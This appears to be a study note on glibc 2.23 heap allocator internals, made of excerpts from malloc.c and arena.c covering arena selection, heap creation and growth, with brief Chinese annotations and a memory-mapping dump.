struct malloc_state
{
  /* Serialize access.  */
  __libc_lock_define (, mutex);
  /* Flags (formerly in max_fast).  */
  int flags;
  /* Set if the fastbin chunks contain recently inserted free blocks.  */
  /* Note this is a bool but not all targets support atomics on booleans.  */
  int have_fastchunks;
  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];
  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;
  /* The remainder from the most recent split of a small request */
  mchunkptr last_remainder;
  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];
  /* Bitmap of bins */
  unsigned int binmap[BINMAPSIZE];
  /* Linked list */
  struct malloc_state *next;
  /* Linked list for free arenas.  Access to this field is serialized
     by free_list_lock in arena.c.  */
  struct malloc_state *next_free;
  /* Number of threads attached to this arena.  0 if the arena is on
     the free list.  Access to this field is serialized by
     free_list_lock in arena.c.  */
  INTERNAL_SIZE_T attached_threads;
  /* Memory allocated from the system in this arena.  */
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;
};

//glibc2-23
void *
__libc_malloc (size_t bytes)
{
  mstate ar_ptr;
  void *victim;
  //PART1 check the hook
  void *(*hook) (size_t, const void *)
    = atomic_forced_read (__malloc_hook);
  if (__builtin_expect (hook != NULL, 0))
    return (*hook)(bytes, RETURN_ADDRESS (0));
  //PART2 get arena
  arena_get (ar_ptr, bytes);
  //PART3 do _int_malloc
  victim = _int_malloc (ar_ptr, bytes);
  /* Retry with another arena only if we were able to find a usable arena
     before.  */
  //PART4
  if (!victim && ar_ptr != NULL)
    {
      LIBC_PROBE (memory_malloc_retry, 1, bytes);
      ar_ptr = arena_get_retry (ar_ptr, bytes);
      victim = _int_malloc (ar_ptr, bytes);
    }

  if (ar_ptr != NULL)
    (void) mutex_unlock (&ar_ptr->mutex);

  assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
          ar_ptr == arena_for_chunk (mem2chunk (victim)));
  return victim;
}

//glibc/malloc/arena.c
static mstate
internal_function
arena_get2 (size_t size, mstate avoid_arena)
{
  mstate a;

  static size_t narenas_limit;

  a = get_free_list ();
  if (a == NULL)
    {
      /* Nothing immediately available, so generate a new arena.  */
      if (narenas_limit == 0)
        {
          if (mp_.arena_max != 0)
            narenas_limit = mp_.arena_max;
          else if (narenas > mp_.arena_test)
            {
              int n = __get_nprocs ();

              if (n >= 1)
                narenas_limit = NARENAS_FROM_NCORES (n);
              else
                /* We have no information about the system.  Assume two
                   cores.  */
                narenas_limit = NARENAS_FROM_NCORES (2);
            }
        }
    repeat:;
      size_t n = narenas;
      /* NB: the following depends on the fact that (size_t)0 - 1 is a
         very large number and that the underflow is OK.  If arena_max
         is set the value of arena_test is irrelevant.  If arena_test
         is set but narenas is not yet larger or equal to arena_test
         narenas_limit is 0.  There is no possibility for narenas to
         be too big for the test to always fail since there is not
         enough address space to create that many arenas.  */
      if (__glibc_unlikely (n <= narenas_limit - 1))
        {
          if (catomic_compare_and_exchange_bool_acq (&narenas, n + 1, n))
            goto repeat;
          a = _int_new_arena (size);
	  if (__glibc_unlikely (a == NULL))
            catomic_decrement (&narenas);
        }
      else
        a = reused_arena (avoid_arena);
    }
  return a;
}

static mstate
get_free_list (void)
{
  mstate replaced_arena = thread_arena;
  mstate result = free_list;
  if (result != NULL)
    {
      __libc_lock_lock (free_list_lock);
      result = free_list;
      if (result != NULL)
        {
          free_list = result->next_free;
          /* The arena will be attached to this thread.  */
          assert (result->attached_threads == 0);
          result->attached_threads = 1;
          detach_arena (replaced_arena);
        }
      __libc_lock_unlock (free_list_lock);
      if (result != NULL)
        {
          LIBC_PROBE (memory_arena_reuse_free_list, 1, result);
          __libc_lock_lock (result->mutex);
          thread_arena = result;
        }
    }
  return result;
}

if (narenas_limit == 0)
        {
          if (mp_.arena_max != 0)//mp_.arena_max 不为0 那么依照mp_.arena_max的设置
            narenas_limit = mp_.arena_max;
          else if (narenas > mp_.arena_test)//否则根据cpu核数或者默认确定narenas 
            {
              int n = __get_nprocs ();
              if (n >= 1)
                narenas_limit = NARENAS_FROM_NCORES (n);
              else
                /* We have no information about the system.  Assume two
                   cores.  */
                narenas_limit = NARENAS_FROM_NCORES (2);
            }
        }

  size_t n = narenas;
      /* NB: the following depends on the fact that (size_t)0 - 1 is a
         very large number and that the underflow is OK.  If arena_max
         is set the value of arena_test is irrelevant.  If arena_test
         is set but narenas is not yet larger or equal to arena_test
         narenas_limit is 0.  There is no possibility for narenas to
         be too big for the test to always fail since there is not
         enough address space to create that many arenas.  */
      if (__glibc_unlikely (n <= narenas_limit - 1))
        {
          if (catomic_compare_and_exchange_bool_acq (&narenas, n + 1, n))
            goto repeat;
          a = _int_new_arena (size);
          if (__glibc_unlikely (a == NULL))
            catomic_decrement (&narenas);
        }
      else
        a = reused_arena (avoid_arena);

typedef struct _heap_info
{
  mstate ar_ptr; /* Arena for this heap. */
  struct _heap_info *prev; /* Previous heap. */
  size_t size;   /* Current size in bytes. */
  size_t mprotect_size; /* Size in bytes that has been mprotected
                           PROT_READ|PROT_WRITE.  */
  /* Make sure the following data is properly aligned, particularly
     that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
     MALLOC_ALIGNMENT. */
  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;

new_heap (size_t size, size_t top_pad)
{
  size_t pagesize = GLRO (dl_pagesize);
  char *p1, *p2;
  unsigned long ul;
  heap_info *h;

  if (size + top_pad < HEAP_MIN_SIZE)
    size = HEAP_MIN_SIZE;
  else if (size + top_pad <= HEAP_MAX_SIZE)
    size += top_pad;
  else if (size > HEAP_MAX_SIZE)
    return 0;
  else
    size = HEAP_MAX_SIZE;
  size = ALIGN_UP (size, pagesize);
  //按照page对齐
  /* A memory region aligned to a multiple of HEAP_MAX_SIZE is needed.
     No swap space needs to be reserved for the following large
     mapping (on Linux, this is the case for all non-writable mappings
     anyway). */
  p2 = MAP_FAILED;
  if (aligned_heap_area)
    {
      p2 = (char *) MMAP (aligned_heap_area, HEAP_MAX_SIZE, PROT_NONE,
                          MAP_NORESERVE);
      aligned_heap_area = NULL;
      if (p2 != MAP_FAILED && ((unsigned long) p2 & (HEAP_MAX_SIZE - 1)))
        {
          __munmap (p2, HEAP_MAX_SIZE);
          p2 = MAP_FAILED;
        }
    }
  if (p2 == MAP_FAILED)
    {
      p1 = (char *) MMAP (0, HEAP_MAX_SIZE << 1, PROT_NONE, MAP_NORESERVE);
      if (p1 != MAP_FAILED)
        {
          p2 = (char *) (((unsigned long) p1 + (HEAP_MAX_SIZE - 1))
                         & ~(HEAP_MAX_SIZE - 1));
          ul = p2 - p1;
          if (ul)
            __munmap (p1, ul);
          else
            aligned_heap_area = p2 + HEAP_MAX_SIZE;
          __munmap (p2 + HEAP_MAX_SIZE, HEAP_MAX_SIZE - ul);
        }
      else
        {
          /* Try to take the chance that an allocation of only HEAP_MAX_SIZE
             is already aligned. */
          p2 = (char *) MMAP (0, HEAP_MAX_SIZE, PROT_NONE, MAP_NORESERVE);
          if (p2 == MAP_FAILED)
            return 0;

          if ((unsigned long) p2 & (HEAP_MAX_SIZE - 1))
            {
              __munmap (p2, HEAP_MAX_SIZE);
              return 0;
            }
        }
    }
  if (__mprotect (p2, size, PROT_READ | PROT_WRITE) != 0)
    {
      __munmap (p2, HEAP_MAX_SIZE);
      return 0;
    }
  //通过mmap 获得一块内存
  h = (heap_info *) p2;
  h->size = size;
  h->mprotect_size = size;
  LIBC_PROBE (memory_heap_new, 2, h, h->size);
  //完成heap_info初始化
  return h;
}

0x00007fffe8000000 0x00007fffefff8000 rw-p	mapped
0x00007fffefff8000 0x00007ffff0000000 ---p	mapped

grow_heap (heap_info *h, long diff)
{
  size_t pagesize = GLRO (dl_pagesize);
  long new_size;
  diff = ALIGN_UP (diff, pagesize);
  new_size = (long) h->size + diff;
  if ((unsigned long) new_size > (unsigned long) HEAP_MAX_SIZE)
    return -1;
  if ((unsigned long) new_size > h->mprotect_size)
    {
      if (__mprotect ((char *) h + h->mprotect_size,
                      (unsigned long) new_size - h->mprotect_size,
                      PROT_READ | PROT_WRITE) != 0)
        return -2;
      h->mprotect_size = new_size;
    }
  h->size = new_size;
  LIBC_PROBE (memory_heap_more, 2, h, h->size);
  return 0;
}

h = new_heap (size + (sizeof (*h) + sizeof (*a) + MALLOC_ALIGNMENT),
                mp_.top_pad);
  if (!h)
    {
      /* Maybe size is too large to fit in a single heap.  So, just try
         to create a minimally-sized arena and let _int_malloc() attempt
         to deal with the large request via mmap_chunk().  */
      h = new_heap (sizeof (*h) + sizeof (*a) + MALLOC_ALIGNMENT, mp_.top_pad);
      if (!h)
        return 0;
    }

  a = h->ar_ptr = (mstate) (h + 1);
  malloc_init_state (a);
  a->attached_threads = 1;
  /*a->next = NULL;*/
  a->system_mem = a->max_system_mem = h->size;
  arena_mem += h->size;

  /* Set up the top chunk, with proper alignment. */
  ptr = (char *) (a + 1);
  misalign = (unsigned long) chunk2mem (ptr) & MALLOC_ALIGN_MASK;
  if (misalign > 0)
    ptr += MALLOC_ALIGNMENT - misalign;
  top (a) = (mchunkptr) ptr;
  set_head (top (a), (((char *) h + h->size) - ptr) | PREV_INUSE);

  LIBC_PROBE (memory_arena_new, 2, a, size);
  mstate replaced_arena = thread_arena;
  thread_arena = a;
  mutex_init (&a->mutex);

  (void) mutex_lock (&list_lock);

  /* Add the new arena to the global list.  */
  a->next = main_arena.next;
  /* FIXME: The barrier is an attempt to synchronize with read access
     in reused_arena, which does not acquire list_lock while
     traversing the list.  */
  atomic_write_barrier ();
  main_arena.next = a;

  (void) mutex_unlock (&list_lock);

  (void) mutex_lock (&free_list_lock);
  detach_arena (replaced_arena);
  (void) mutex_unlock (&free_list_lock);

  /* Lock this arena.  NB: Another thread may have been attached to
     this arena because the arena is now accessible from the
     main_arena.next list and could have been picked by reused_arena.
     This can only happen for the last arena created (before the arena
     limit is reached).  At this point, some arena has to be attached
     to two threads.  We could acquire the arena lock before list_lock
     to make it less likely that reused_arena picks this new arena,
     but this could result in a deadlock with ptmalloc_lock_all.  */

  (void) mutex_lock (&a->mutex);